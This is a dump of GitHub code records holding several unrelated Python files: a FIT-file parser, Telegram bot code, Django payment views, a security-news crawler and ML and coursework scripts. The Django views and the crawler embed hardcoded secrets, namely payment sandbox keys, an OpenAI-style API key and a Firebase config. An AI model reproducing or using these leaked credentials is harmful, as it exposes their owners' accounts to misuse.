+{"seq_id":"4659103232","text":"from pathlib import Path\n\nimport fitdecode\n\nfrom gopro_overlay.entry import Entry\nfrom gopro_overlay.gpmf import GPSFix\nfrom gopro_overlay.point import Point\nfrom gopro_overlay.timeseries import Timeseries\n\n\ndef garmin_to_gps(v):\n return v / ((2 ** 32) / 360)\n\n\ninterpret = {\n \"position_lat\": lambda f, u: {\"lat\": garmin_to_gps(f.value)},\n \"position_long\": lambda f, u: {\"lon\": garmin_to_gps(f.value)},\n \"distance\": lambda f, u: {\"odo\": u.Quantity(f.value, u.m)},\n \"altitude\": lambda f, u: {\"alt\": u.Quantity(f.value, u.m)},\n \"enhanced_altitude\": lambda f, u: {\"alt\": u.Quantity(f.value, u.m)},\n \"speed\": lambda f, u: {\"speed\": u.Quantity(f.value, u.mps)},\n \"enhanced_speed\": lambda f, u: {\"speed\": u.Quantity(f.value, u.mps)},\n \"heart_rate\": lambda f, u: {\"hr\": u.Quantity(f.value, u.bpm)},\n \"cadence\": lambda f, u: {\"cad\": u.Quantity(f.value, u.rpm)},\n \"temperature\": lambda f, u: {\"atemp\": u.Quantity(f.value, u.degC)},\n \"gps_accuracy\": lambda f, u: {\"dop\": u.Quantity(f.value)},\n \"power\": lambda f, u: {\"power\": u.Quantity(f.value, u.watt)},\n \"grade\": lambda f, u: {\"grad\": u.Quantity(f.value)},\n}\n\n\ndef load_timeseries(filepath: Path, units):\n ts = Timeseries()\n\n with fitdecode.FitReader(filepath) as ff:\n for frame in (f for f in ff if f.frame_type == fitdecode.FIT_FRAME_DATA and f.name == 'record'):\n entry = None\n items = {}\n\n for field in frame.fields:\n if field.name == \"timestamp\":\n # we should set the gps fix or Journey.accept() will skip the point:\n entry = Entry(\n dt=field.value,\n gpsfix=GPSFix.LOCK_3D.value\n )\n else:\n if field.name in interpret and field.value is not None:\n items.update(**interpret[field.name](field, units))\n\n if \"lat\" in items and \"lon\" in items:\n items[\"point\"] = Point(lat=items[\"lat\"], lon=items[\"lon\"])\n del (items[\"lat\"])\n del (items[\"lon\"])\n\n # only use fit data items that have lat/lon\n if \"point\" in items:\n entry.update(**items)\n ts.add(entry)\n\n return ts\n","repo_name":"time4tea/gopro-dashboard-overlay","sub_path":"gopro_overlay/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"68"}
+{"seq_id":"37385624404","text":"from enum import Enum\nfrom ctx import x\nfrom replies import Reply\nfrom telegram import KeyboardButton as Btn, ReplyKeyboardMarkup as Kbd\n\n\nclass RideVariant(Enum):\n HOURLY = 'Почасовой'\n DAILY = 'На весь день'\n BY_AMOUNT = 'На всю сумму'\n\n\ndef ride_hourly():\n u = yield 'На сколько часов?'\n while True:\n if u.message.text.isdigit() and 1 < int(u.message.text) < 11:\n break\n else:\n u = yield 'Неправильный ответ, ещё разок'\n hours = int(u.message.text)\n\n\ndef ride():\n u = yield Reply(\n 'Какой вариант вам подходит?',\n reply_markup=Kbd(\n [\n [Btn(RideVariant.HOURLY.value), Btn(RideVariant.DAILY.value)],\n [Btn(RideVariant.BY_AMOUNT.value)]\n ],\n one_time_keyboard=True,\n resize_keyboard=True\n )\n )\n\n\n\n","repo_name":"metheoryt/skatepark-telegram-bot","sub_path":"dialog/ride.py","file_name":"ride.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18691811156","text":"from configparser import ConfigParser, NoOptionError, NoSectionError\nimport sys\n\ncfg = ConfigParser()\ncfg.read(\"config.ini\")\n\ntry:\n APP_ID = cfg.getint(\"pyrogram\", \"api_id\")\n APP_HASH = cfg.get(\"pyrogram\", \"api_hash\")\nexcept (NoOptionError, NoSectionError):\n # sys.exit(print('fill in configs before making the session.'))\n print(\"Find your App configs in https://my.telegram.org\")\n APP_ID = int(input(\"Enter your api_id: \"))\n APP_HASH = input(\"Enter your api_hash: \")\n","repo_name":"pokurt/qr-Pyrogram-session","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"68"}
+{"seq_id":"12803834116","text":"from django.shortcuts import render, redirect\nimport iyzipay\nimport json\n# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.views.decorators.http import require_http_methods\nfrom django.views.decorators.csrf import csrf_exempt\nimport requests\nfrom django.contrib import messages\nimport pprint\nfrom .models import *\nfrom .forms import *\nfrom django.contrib import messages\nfrom django.db.models import Q\n# import jsonresponse\nfrom django.http import JsonResponse\n# Create your views here.\n\napi_key = 'sandbox-P0pc0m5C6J5ZP28gkQpBVtRXrFRHm8mr'\nsecret_key = 'sandbox-5UKiwkqmhFYRq2gzn9iTPvKRFUfctyud'\nbase_url = 'sandbox-api.iyzipay.com'\n\noptions = {\n 'api_key': api_key,\n 'secret_key': secret_key,\n 'base_url': base_url\n}\n\n\nsozlukToken = list()\n\ndef payment(request):\n context = dict()\n sepetim = Odeme.objects.get(user = request.user)\n buyer={\n 'id': 'BY789',\n 'name': 'John',\n 'surname': 'Doe',\n 'gsmNumber': '+905350000000',\n 'email': 'email@email.com',\n 'identityNumber': '74300864791',\n 'lastLoginDate': '2015-10-05 12:43:35',\n 'registrationDate': '2013-04-21 15:12:09',\n 'registrationAddress': 'Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1',\n 'ip': '85.34.78.112',\n 'city': 'Istanbul',\n 'country': 'Turkey',\n 'zipCode': '34732'\n }\n\n address={\n 'contactName': 'Jane Doe',\n 'city': 'Istanbul',\n 'country': 'Turkey',\n 'address': 'Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1',\n 'zipCode': '34732'\n }\n\n basket_items=[\n {\n 'id': 'BI101',\n 'name': 'Binocular',\n 'category1': 'Collectibles',\n 'category2': 'Accessories',\n 'itemType': 'PHYSICAL',\n 'price': '0.3'\n },\n {\n 'id': 'BI102',\n 'name': 'Game code',\n 'category1': 'Game',\n 'category2': 'Online Game Items',\n 'itemType': 'VIRTUAL',\n 'price': '0.5'\n },\n {\n 'id': 'BI103',\n 'name': 'Usb',\n 'category1': 'Electronics',\n 'category2': 'Usb / Cable',\n 'itemType': 'PHYSICAL',\n 'price': '0.2'\n }\n ]\n\n request={\n 'locale': 'tr',\n 'conversationId': '123456789',\n 'price': '1',\n 'paidPrice': sepetim.toplamFiyat,\n 'currency': 'TRY',\n 'basketId': 'B67832',\n 'paymentGroup': 'PRODUCT',\n \"callbackUrl\": \"http://localhost:8000/result/\",\n \"enabledInstallments\": ['2', '3', '6', '9'],\n 'buyer': buyer,\n 'shippingAddress': address,\n 'billingAddress': address,\n 'basketItems': basket_items,\n # 'debitCardAllowed': True\n }\n\n checkout_form_initialize = iyzipay.CheckoutFormInitialize().create(request, options)\n\n #print(checkout_form_initialize.read().decode('utf-8'))\n page = checkout_form_initialize\n header = {'Content-Type': 'application/json'}\n content = checkout_form_initialize.read().decode('utf-8')\n json_content = json.loads(content)\n print(type(json_content))\n print(json_content[\"checkoutFormContent\"])\n print(\"************************\")\n print(json_content[\"token\"])\n print(\"************************\")\n sozlukToken.append(json_content[\"token\"])\n return HttpResponse(json_content[\"checkoutFormContent\"])\n\n@require_http_methods(['POST'])\n@csrf_exempt\ndef result(request):\n context = dict()\n\n url = request.META.get('index')\n\n request = {\n 'locale': 'tr',\n 'conversationId': '123456789',\n 'token': sozlukToken[0]\n }\n checkout_form_result = iyzipay.CheckoutForm().retrieve(request, options)\n print(\"************************\")\n print(type(checkout_form_result))\n result = checkout_form_result.read().decode('utf-8')\n print(\"************************\")\n print(sozlukToken[0]) \n print(\"************************\")\n print(\"************************\")\n sonuc = json.loads(result, object_pairs_hook=list)\n #print(sonuc[0][1]) # İşlem sonuç Durumu dönüyor\n #print(sonuc[5][1]) # Test ödeme tutarı\n print(\"************************\")\n for i in sonuc:\n print(i)\n print(\"************************\")\n print(sozlukToken)\n print(\"************************\")\n if sonuc[0][1] == 'success':\n context['success'] = 'Başarılı İŞLEMLER'\n return HttpResponseRedirect(reverse('success'), context)\n\n elif sonuc[0][1] == 'failure':\n context['failure'] = 'Başarısız'\n return HttpResponseRedirect(reverse('failure'), context)\n\n return HttpResponse(result)\ndef index(request):\n urunler = Urun.objects.all()\n kategoriler = Kategori.objects.all()\n sepet = Sepet.objects.filter(user = request.user)\n # uzunluk = len(sepet)\n # Arama\n search = ''\n if request.GET.get('search'):\n search = request.GET.get('search')\n urunler = Urun.objects.filter(\n Q(isim__icontains = search) |\n Q(kategori__isim__icontains = search)\n )\n if request.method == 'POST':\n urun = request.POST['urunId']\n adet = request.POST['adet']\n urunum = Urun.objects.get(id = urun)\n if Sepet.objects.filter(user = request.user, urun = urun).exists():\n sepet = Sepet.objects.get(user = request.user, urun = urunum)\n sepet.adet += int(adet)\n sepet.fiyat += int(adet) * urunum.fiyat\n sepet.save()\n \n else:\n sepet = Sepet(user = request.user, urun = urunum, adet = adet, fiyat = int(adet) * urunum.fiyat)\n sepet.save()\n uzunluk = Sepet.objects.filter(user = request.user)\n post = request.POST #Ajax'dan dönen post verilerini alıyoruz.\n\n # site_adi = post.get('site_adi') #Post değerinden site_adi verisini alıyoruz.\n\n # #Aynı şekilde diğer verileri de alıyoruz.\n # gonderen_kisi = post.get('urunId')\n # gonderilme_nedeni = post.get('adet')\n\n # result = True\n # message = \"\"\n # if site_adi==\"http://127.0.0.1:8000\":\n # message = \"http://127.0.0.1:8000 işlem başarılı\"\n # else:\n # message = \"Yazıklar olsun! :(\"\n # result = False\n\n\n \n context = {\n 'urunler':urunler,\n 'search':search,\n 'kategoriler':kategoriler,\n 'uzunluk':uzunluk,\n # 'result':result,\n # 'message':message\n }\n \n return render(request, 'index.html', context)\n\ndef detail(request, urunId):\n urun = Urun.objects.get(id = urunId)\n context = {\n 'urun':urun\n }\n return render(request, 'urun.html', context)\n\ndef olustur(request):\n form = UrunForm()\n if request.method == 'POST':\n form = UrunForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n messages.success(request, 'Ürün oluşturuldu')\n return redirect('index')\n context = {\n 'form':form\n }\n return render(request, 'olustur.html', context)\n\n\n# ckeditor\n\n# Ödeme\ndef success(request):\n messages.success(request, 'Ödeme başarılı')\n return redirect('index')\ndef failure(request):\n messages.error(request, 'Ödeme başarısız')\n return redirect('payment')\n\ndef sepet(request):\n urun = Sepet.objects.filter(user = request.user)\n toplam = 0\n \n for i in urun:\n toplam += i.fiya\n \n if request.method == \"POST\":\n odeme = request.POST['odeme']\n \n odenen = Sepet.objects.filter(user = request.user)\n print(odenen[0].urun)\n odemeYap = Odeme.objects.create(\n toplamFiyat = odeme,\n user = request.user,\n )\n odemeYap.sepet.add(*odenen)\n \n\n odemeYap.save()\n \n return redirect('payment')\n context = {\n 'urun':urun,\n 'toplam':toplam\n }\n return render(request, 'sepet.html', context)","repo_name":"MervanKoncuk/django-nonreload-cart","sub_path":"urunler/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"30907076819","text":"from urllib.parse import urlparse\nimport warnings\nfrom django.shortcuts import render\n\nfrom django.http import JsonResponse\nimport requests\nfrom bs4 import BeautifulSoup\nimport concurrent.futures\n\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\n\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\n\nimport webhdfs\nfrom hdfs import InsecureClient\n\nimport json\n\nimport numpy as np\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import load_model\n\n\nconfig = {\n \"apiKey\": \"AIzaSyAf4h3WS_PJIY_Q-C_3a1JLlk6YKiD8-yw\",\n \"authDomain\": \"my-project-1-666a4.firebaseapp.com\",\n \"projectId\": \"my-project-1-666a4\",\n \"storageBucket\": \"my-project-1-666a4.appspot.com\",\n \"messagingSenderId\": \"576412656365\",\n \"appId\": \"1:576412656365:web:6a1935b3482dcb61a0a2e4\",\n \"measurementId\": \"G-08HCHNFWXM\"\n}\n\nfirebase_admin.initialize_app(credentials.Certificate(\n r'D:\\Workspace\\RP317\\Vigilance360-Server\\server1\\crawler\\vigilance360-firebase.json'))\n\ndb = firestore.client()\n\n\ndef predict_category_lstm(example_text):\n loaded_lstm_model = load_model(\n 'D:\\\\Workspace\\RP317\\\\Vigilance360-Server\\\\server1\\\\crawler\\\\api\\\\lstm_model.h5')\n\n # Preprocess the example text\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts([example_text])\n example_text_sequence = tokenizer.texts_to_sequences([example_text])\n max_len = 100 # Adjust as needed\n example_text_padded = pad_sequences(example_text_sequence, maxlen=max_len)\n\n # Make predictions\n predictions = loaded_lstm_model.predict(example_text_padded)\n\n # Decode predictions back to labels\n predicted_labels = np.argmax(predictions, axis=1)\n\n # Map labels back to their original categories\n categories = ['hardware', 'software', 'os']\n predicted_category = categories[predicted_labels[0]]\n\n return predicted_category\n\n\ndef extract_features(article, category):\n api_key = \"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\"\n url = \"https://api.openai.com/v1/engines/text-davinci-003/completions\"\n\n headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {api_key}\"\n }\n\n prompt = f\"\"\"Extract the following information from the given article\n :Category: ( article about Os, Hardware, Sofware or both) \n Name: should be company + product), \n if Category = os / software: version,\n if Category = hardware: model number, \n Threat Level: (High Risk or Low Risk), \n Components Affected:\n Overview, \n Description, \n Impact, \n Solution,\n Version,\n Reference,\n Disclaimer\n .Details of the Article : {article}\"\"\"\n\n data = {\n \"prompt\": prompt,\n \"max_tokens\": 200\n }\n\n response = requests.post(url, json=data, headers=headers)\n response_json = response.json()\n\n if \"choices\" in response_json and len(response_json[\"choices\"]) > 0:\n extracted_data = response_json[\"choices\"][0][\"text\"]\n\n result = {\"name\": \"\", \"threatLevel\": \"\", \"affected\": \"\", \"overview\": \"\",\n \"description\": \"\", \"impact\": \"\", \"solution\": \"\", \"version\": \"\", \"model\": \"\", \"reference\": \"\", \"disclaimer\": \"\"}\n\n lines = extracted_data.split('\\n')\n for line in lines:\n if line.startswith(\"Name: \"):\n result[\"name\"] = line.replace(\"Name: \", \"\")\n elif line.startswith(\"Threat Level: \"):\n result[\"threatLevel\"] = line.replace(\"Threat Level: \", \"\")\n elif line.startswith(\"Components Affected: \"):\n result[\"affected\"] = line.replace(\n \"Components Affected: \", \"\")\n elif line.startswith(\"Overview: \"):\n result[\"overview\"] = line.replace(\"Overview: \", \"\")\n elif line.startswith(\"Reference: \"):\n result[\"reference\"] = line.replace(\"Reference: \", \"\")\n elif line.startswith(\"Disclaimer: \"):\n result[\"disclaimer\"] = line.replace(\"Disclaimer: \", \"\")\n elif line.startswith(\"Description: \"):\n result[\"description\"] = line.replace(\"Description: \", \"\")\n elif line.startswith(\"Impact: \"):\n result[\"impact\"] = line.replace(\"Impact: \", \"\")\n elif line.startswith(\"Solution: \"):\n result[\"solution\"] = line.replace(\"Solution: \", \"\")\n elif category == \"os\" or category == \"software\":\n if line.startswith(\"Version: \"):\n result[\"version\"] = line.replace(\"Version: \", \"\")\n elif category == \"hardware\":\n if line.startswith(\"Model: \"):\n result[\"model\"] = line.replace(\"Model: \", \"\")\n return result\n\n else:\n return \"Extraction failed.\"\n\n\n__all__ = [\"extract_features\"]\n\n\ndef crawl_page():\n warnings.filterwarnings(\"ignore\", category=UserWarning)\n docs = db.collection('urls').get()\n paragraphs = []\n oses = []\n softwares = []\n hardwares = []\n links = []\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n futures = []\n for doc in docs:\n document = doc.to_dict()\n url = document['url']\n paragraph = get_paragraphs(url)\n osThreat = getOsThreat(paragraph)\n softwareThreat = getSoftwareThreat(paragraph)\n hardwareThreat = getHardwareThreat(paragraphs)\n if (osThreat != ''):\n oses.append(osThreat)\n if (softwareThreat != ''):\n softwares.append(softwareThreat)\n if (hardwareThreat != ''):\n hardwares.append(hardwareThreat)\n return oses, softwares, hardwares\n\n\ndef get_paragraphs(url):\n response = requests.get(url)\n if response.status_code == 200:\n # Parse the HTML content\n soup = BeautifulSoup(response.content, 'html.parser')\n\n # Find all paragraph elements\n paragraphs = [p.get_text() for p in soup.find_all('p')]\n return paragraphs\n else:\n return []\n\n\ndef getOsThreat(paragraphs):\n category = predict_category_lstm(paragraphs)\n if category == 'os':\n print(category)\n return extract_features(paragraphs, category)\n else:\n return ''\n\n\ndef getSoftwareThreat(paragraphs):\n category = predict_category_lstm(paragraphs)\n if category == 'software':\n print(category)\n return extract_features(paragraphs, category)\n else:\n return ''\n\n\ndef getHardwareThreat(paragraphs):\n category = predict_category_lstm(paragraphs)\n if category == 'hardware':\n print(category)\n return extract_features(paragraphs, category)\n else:\n return ''\n\n\ndef sendDataToHadoop(request):\n oses, softwares, hardwares = crawl_page()\n print(oses)\n print(softwares)\n print(hardwares)\n softwareThreat = softwares\n hardwareThreat = hardwares\n osThreat = oses\n # Convert the list to JSON string\n softwareThreatContent = json.dumps(softwareThreat)\n hardwareThreatContent = json.dumps(hardwareThreat)\n osThreatContent = json.dumps(osThreat)\n\n # Path where you want to store the file in HDFS\n hdfs_software_path = \"/temp/software.json\"\n hdfs_hardware_path = \"/temp/hardware.json\"\n hdfs_os_path = \"/temp/os.json\"\n\n # Establish connection to HDFS using WebHDFS\n # client=webhdfs.API(host='localhost',port='50070')\n client = InsecureClient('http://localhost:50070')\n\n # client.upload(hdfs_file_path, local_file_path,overwrite=True)\n with client.write(hdfs_software_path, overwrite=True) as hdfs_file:\n hdfs_file.write(softwareThreatContent)\n\n with client.write(hdfs_hardware_path, overwrite=True) as hdfs_file:\n hdfs_file.write(hardwareThreatContent)\n\n with client.write(hdfs_os_path, overwrite=True) as hdfs_file:\n hdfs_file.write(osThreatContent)\n\n return HttpResponse(status=200)\n","repo_name":"linuka00/Vigilance360","sub_path":"Vigilance360-Server/server1/crawler/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"14769801786","text":"__author__ = 'ericshape'\n\nimport json\nfrom pprint import pprint\n\noutputFileName = 'graphEdges.json'\nfOutputFile = open(outputFileName,'w')\n\ni = 0\nwith open(\"user_info_complete_merged-0412_10\") as f:\n for line in f:\n requestData = json.loads(line)\n pprint(requestData, fOutputFile)\n\n # followerGroup = requestData['followers']\n # if followerGroup != [] and i < 100:\n # i +=1\n # friend = requestData['id']\n # for follower in followerGroup:\n # print >> fOutputFile, friend, ';' , follower\n","repo_name":"explorer-wei/unsupervised-event-extraction-from-news-and-twitter","sub_path":"Codes/twitter416/MergeGraph/ParseGraph.py","file_name":"ParseGraph.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"15585127412","text":"from typing import List, Optional, Tuple\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ocrstack.config.config import Config\nfrom ocrstack.data.collate import Batch\nfrom torch import Tensor\nfrom torch.nn.utils.rnn import pack_padded_sequence\n\nfrom resnet import resnet34\n\n\nclass TransformerDecoderAdapter(nn.Module):\n\n '''\n This class adapts `nn.TransformerDecoder` class to the stack\n '''\n\n def __init__(self):\n super(TransformerDecoderAdapter, self).__init__()\n self.in_embed, self.out_embed = self.build_embedding()\n self.decoder = nn.TransformerDecoder(nn.TransformerDecoderLayer(128, 8), 1)\n self.sos_idx = 0\n self.eos_idx = 1\n\n def build_embedding(self) -> Tuple[nn.Module, nn.Module]:\n out_embed = nn.Linear(128, 114, bias=False)\n in_embed = nn.Embedding(114, 128, 2,_weight=out_embed.weight)\n return in_embed, out_embed\n\n def forward(self, memory, tgt, memory_key_padding_mask=None, tgt_key_padding_mask=None):\n # type: (Tensor, Tensor, Optional[Tensor], Optional[Tensor]) -> Tensor\n '''\n Arguments:\n ----------\n - memory: (B, S, E)\n - tgt: (B, T)\n\n Returns:\n --------\n - logits: (B, T, V)\n '''\n # Since transformer components working with time-first tensor, we should transpose the shape first\n tgt = self.in_embed(tgt) # [B, T, E]\n tgt = tgt.transpose(0, 1) # [T, B, E]\n\n memory = memory.transpose(0, 1) # [S, B, E]\n tgt_mask = generate_square_subsequent_mask(tgt.size(0)).to(memory.device)\n memory_mask = None\n output = self.decoder(tgt, memory, tgt_mask, memory_mask, tgt_key_padding_mask, memory_key_padding_mask)\n output = output.transpose(0, 1) # [B, T, E]\n output = self.out_embed(output) # [B, T, V]\n return output\n\n @torch.jit.export\n def decode(self, memory, max_length, memory_key_padding_mask=None):\n # type: (Tensor, int, Optional[Tensor]) -> Tensor\n batch_size = memory.size(0)\n inputs = torch.empty(batch_size, 1, dtype=torch.long, device=memory.device).fill_(self.sos_idx)\n outputs: List[Tensor] = [\n F.one_hot(inputs, num_classes=self.in_embed.num_embeddings).float().to(inputs.device)\n ]\n end_flag = torch.zeros(batch_size, dtype=torch.bool)\n for _ in range(max_length):\n text = self.forward(memory, inputs, memory_key_padding_mask, None) # [B, T, V]\n output = F.softmax(text[:, [-1]], dim=-1) # [B, 1, V]\n outputs.append(output) # [[B, 1, V]]\n output = output.argmax(-1, keepdim=False) # [B, 1]\n inputs = torch.cat((inputs, output), dim=1) # [B, T + 1]\n\n # set flag for early break\n output = output.squeeze(1) # [B]\n current_end = output == self.eos_idx # [B]\n current_end = current_end.cpu()\n end_flag |= current_end\n if end_flag.all():\n break\n\n return torch.cat(outputs, dim=1) # [B, T, V]\n\n\nclass GeneralizedConvSeq2Seq(nn.Module):\n\n def __init__(self):\n # type: (Config,) -> None\n super().__init__()\n self.backbone = resnet34(pretrained=False, num_layers=2)\n self.decoder = TransformerDecoderAdapter()\n self.max_length = 150\n\n def freeze(self):\n for param in self.parameters():\n param.requires_grad_(False)\n\n def predict(self, batch: Batch):\n predicts = self.forward(batch.images)\n return predicts\n\n def train_batch(self, batch: Batch):\n logits = self.forward(batch.images, batch.text, batch.lengths)\n return logits\n\n def compute_loss(self, logits, targets, lengths):\n packed_predicts = pack_padded_sequence(logits, lengths, batch_first=True)[0]\n packed_targets = pack_padded_sequence(targets, lengths, batch_first=True)[0]\n loss = F.cross_entropy(packed_predicts, packed_targets)\n return loss\n\n def example_inputs(self):\n return (torch.rand(1, 3, 64, 256), )\n\n def forward(self, images, text=None, lengths=None, image_padding_mask=None):\n # type: (Tensor, Optional[Tensor], Optional[Tensor], Optional[Tensor]) -> Tensor\n images = self.backbone(images) # B, C, H, W\n\n B, E, H, W = images.shape\n images = images.reshape(B, E, H * W) # B, E, H * W\n images = images.transpose(-2, -1) # B, S = H * W, E\n\n if image_padding_mask is not None:\n image_padding_mask = image_padding_mask.reshape(B, H * W)\n\n if self.training:\n return self._forward_training(images, text, lengths, image_padding_mask)\n else:\n return self._forward_eval(images, image_padding_mask)\n\n @torch.jit.unused\n def _forward_training(self, images, text=None, lengths=None, image_padding_mask=None):\n # type: (Tensor, Optional[Tensor], Optional[Tensor], Optional[Tensor]) -> Tensor\n text_padding_mask = generate_padding_mask_from_lengths(lengths - 1).to(images.device) # B, S\n logits = self.decoder(images, text[:, :-1],\n memory_key_padding_mask=image_padding_mask,\n tgt_key_padding_mask=text_padding_mask)\n loss = self.compute_loss(logits, text[:, 1:], lengths - 1)\n return loss\n\n def _forward_eval(self, images, image_padding_mask=None):\n # type: (Tensor, Optional[Tensor]) -> Tensor\n predicts = self.decoder.decode(images, self.max_length, image_padding_mask)\n return predicts\n\n\ndef generate_square_subsequent_mask(sz: int) -> torch.Tensor:\n r\"\"\"Generate a square mask for the sequence. The masked positions are filled with float('-inf').\n Unmasked positions are filled with float(0.0).\n \"\"\"\n mask = (torch.triu(torch.ones(sz, sz)) == 1).transpose(0, 1)\n mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0))\n return mask\n\n\ndef generate_padding_mask_from_lengths(lengths: torch.Tensor) -> torch.Tensor:\n B, S = len(lengths), lengths.max()\n padding_mask = torch.arange(0, S, device=lengths.device).expand(B, S) >= lengths.unsqueeze(-1)\n return padding_mask\n","repo_name":"VinhLoiIT/pytorch-load-weight","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"14005206950","text":"def add_submission_func(exams: dict, users: dict, user: str, lang: str, score: str):\n current_score = int(score)\n if lang in exams.keys():\n exams[lang] += 1\n else:\n exams[lang] = 1\n if user in users.keys():\n if users[user] < current_score:\n users[user] = current_score\n else:\n users[user] = current_score\n return exams, users\n\n\ndef ban_participant_func(users: dict, user: str):\n if user in users.keys():\n users.pop(user)\n return users\n\n\ndef get_exam_result_func(exams: dict, users: dict):\n return f'Results:\\n' + '\\n'.join([f'{k} | {v}' for k, v in users.items()]) + \\\n '\\nSubmissions:\\n' + '\\n'.join([f'{k} - {v}' for k, v in exams.items()])\n\n\nexam_submissions = {}\nuser_submissions = {}\n\ninput_line = input()\nwhile input_line != 'exam finished':\n if 'banned' in input_line:\n command = input_line.split('-')\n username = command[0]\n user_submissions = ban_participant_func(user_submissions, username)\n else:\n username, language, points = input_line.split('-')\n exam_submissions, user_submissions = add_submission_func(exam_submissions, user_submissions, username, language,\n points)\n input_line = input()\nprint(get_exam_result_func(exam_submissions, user_submissions))\n","repo_name":"mi6oo6im/my_python_training","sub_path":"fundamentals/exercise_dictionaries/soft_uni_exam_results.py","file_name":"soft_uni_exam_results.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"20724783982","text":"from pos import pos\nimport json\nfrom collections import defaultdict, Counter\nfrom math import log\nDISCOURSE_RELATIONS = [\"Comparison\",\"Contingency\",\"Expansion\",\"Temporal\"]\nINDICATOR_TYPES = [\"forward\",\"backwards\",\"thesis\",\"rebuttal\"]\n\nclass ArgumentRelationIdentification(): \n def __init__(self, essay_name, components, relation_prob_file,lemma_file,relation_info_file=None): \n self.components = components\n self.is_training_data = False \n if relation_info_file is not None: \n self.idx_to_name = []\n self.is_training_data = True \n with open(relation_info_file) as file: \n info = json.load(file)\n self.position_to_name = {v:k for k,v in info[essay_name][\"idx_to_start\"].items()}\n self.relations = info[essay_name][\"outgoing_relations\"] \n for c in self.components: \n name = self.position_to_name[c[\"start\"]]\n self.idx_to_name.append(name) \n with open(relation_prob_file) as file: \n info = json.load(file)\n self.p_outgoing = info[\"outgoing\"]\n self.p_incoming = info[\"incoming\"]\n with open(lemma_file) as file: \n info = json.load(file)\n self.num_all_lemmas = info[\"num_all_lemmas\"]\n self.lemmas_incoming = info[\"lemmas_incoming\"]\n self.lemmas_outgoing = info[\"lemmas_outgoing\"]\n \n self.get_pointwise_mutual_info()\n self.get_production_rules()\n self.pairwise_features()\n \n def get_pointwise_mutual_info(self): \n # get PMI(t,d) for each token t and direction d \n for c in self.components: \n c[\"pmi_incoming\"] = []\n c[\"pmi_outgoing\"] = []\n for idx,prob in enumerate(c[\"p_token\"]):\n lemma = c[\"component_lemmas\"][idx]\n if lemma in self.lemmas_incoming and prob > 0: \n p_t_in = self.lemmas_incoming[lemma] / self.num_all_lemmas\n c[f\"pmi_incoming\"].append( log( p_t_in / (prob * self.p_incoming)) )\n else: \n c[f\"pmi_incoming\"].append(0)\n if lemma in self.lemmas_outgoing and prob > 0: \n p_t_out = self.lemmas_outgoing[lemma] / self.num_all_lemmas\n c[f\"pmi_outgoing\"].append( log( p_t_out / (prob * self.p_outgoing)) )\n else: \n c[f\"pmi_outgoing\"].append(0)\n \n # for c in self.components: \n # print(c[\"pmi_incoming\"],c[\"pmi_outgoing\"])\n\n\n def get_production_rules(self): \n production_rules = []\n for c in self.components: \n for rule in c[\"production_rules\"]: \n production_rules.append(f\"{rule}\")\n self.production_rules_500_most_common = Counter(production_rules).most_common(n=500)\n \n def pairwise_features(self): \n # key will be (i,j) where i is the idx of a source and j is the idx of a target \n self.pairwise = {} \n\n self.components_per_paragraph = defaultdict(list)\n idx_in_paragraph = 0 # variable to indicate the position of the component in a paragraph (e.g. idx 0 out of 4 components in the paragraph)\n for idx in range(len(self.components)): \n p_idx = self.components[idx][\"paragraph\"]\n idx_in_paragraph += 1 \n if p_idx not in self.components_per_paragraph:\n idx_in_paragraph = 0 \n self.components[idx][\"idx_in_paragraph\"] = idx_in_paragraph\n self.components_per_paragraph[p_idx].append(idx)\n\n for i, source in enumerate(self.components):\n for j, target in enumerate(self.components):\n # the source cannot equal the target \n if i == j: continue\n # the components must be in the same paragraph! \n if source[\"paragraph\"] != target[\"paragraph\"]: \n continue \n \n self.pairwise[f\"{i+1},{j+1}\"] = {\n # there is actually a directed edge from source to target \n \"is_a_relation\": 0, # default is false \n # number of tokens in both source and target \n \"num_tokens\": len(source[\"component\"]) + len(target[\"component\"]),\n # if source and target are present in the same sentence\n \"same_sentence\": 0, # default is false \n # if target present before source \n \"target_before_source\": 0, # default is false,\n # if pair is present in intro or conclusion. They are both in the same paragraph\n \"intro_or_conc\": source[\"intro/conc\"],\n # number of components between source and target\n \"num_between\": abs(source[\"idx_in_paragraph\"]-target[\"idx_in_paragraph\"])-1, \n # number of components in the covering paragraph \n \"num_in_paragraph\": len(self.components_per_paragraph[source[\"paragraph\"]]),\n # if target and source share at least one noun \n \"share_noun\": 0, # default is false \n # the number of nouns shared by target and source \n 